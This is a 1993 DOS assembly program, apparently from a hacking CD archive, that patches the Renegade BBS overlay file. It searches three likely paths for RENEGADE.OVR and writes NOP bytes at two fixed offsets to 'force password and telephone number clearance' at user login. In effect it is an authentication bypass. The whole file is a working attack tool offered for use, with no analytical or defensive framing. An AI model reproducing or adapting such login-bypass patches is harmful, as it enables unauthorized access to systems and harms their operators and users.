home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / RENEHACK.ZIP / FIXRG.ASM next >
Encoding:
Assembly Source File  |  1993-11-04  |  2.1 KB  |  58 lines

  1. ;
  2. ; F I X R G . A S M
  3. ;
  4. ;   Alters RENEGADE.OVR file to force password and telephone number
  5. ;   clearance at user login.  Read the docs for more info.
  6. ;
  7. ; By Tokyo
  8. ;
  9.  
  10. code            segment
  11.                 assume cs:code, ds:code
  12.                 org 100h
  13. start:          jmp main
  14.  
  15. path1           db '\bbs\renegade.ovr',0
  16. path2           db '\renegade\renegade.ovr',0
  17. path3           db '\rene\renegade.ovr',0
  18. fixcode         db 90h, 90h
  19. filehandle      dw ?
  20.  
  21. main:           mov ax,3d02h                    ; attempt open
  22.                 mov dx,offset path1             ; start with path1
  23.                 int 21h
  24.                 jnc clear                       ; cleared?
  25.                                                 ; if so, jump
  26.                 mov ax,3d02h                    ; and repeat again
  27.                 mov dx,offset path2             ; this time, path2
  28.                 int 21h
  29.                 jnc clear
  30.                 mov ax,3d02h                    ; and again
  31.                 mov dx,offset path3             ; with path3
  32.                 int 21h
  33.                 jc exit                         ; if that failed, exit
  34. clear:          mov filehandle,ax               ; save file handle
  35.                 mov ax,4200h                    ; position file pointer
  36.                 mov bx,filehandle
  37.                 xor cx,cx
  38.                 mov dx,0957h
  39.                 int 21h
  40.                 mov ah,40h                      ; write first fix
  41.                 mov cx,2
  42.                 mov dx,offset fixcode
  43.                 int 21h
  44.                 mov ax,4200h                    ; position to 2nd point
  45.                 xor cx,cx
  46.                 mov dx,097fh
  47.                 int 21h
  48.                 mov ah,40h                      ; write 2nd fix
  49.                 mov cx,2
  50.                 mov dx,offset fixcode
  51.                 int 21h
  52.                 mov ah,3eh                      ; close and save changes
  53.                 int 21h
  54. exit:           mov ax,4c00h                    ; exit
  55.                 int 21h
  56. code            ends
  57.                 end start
  58.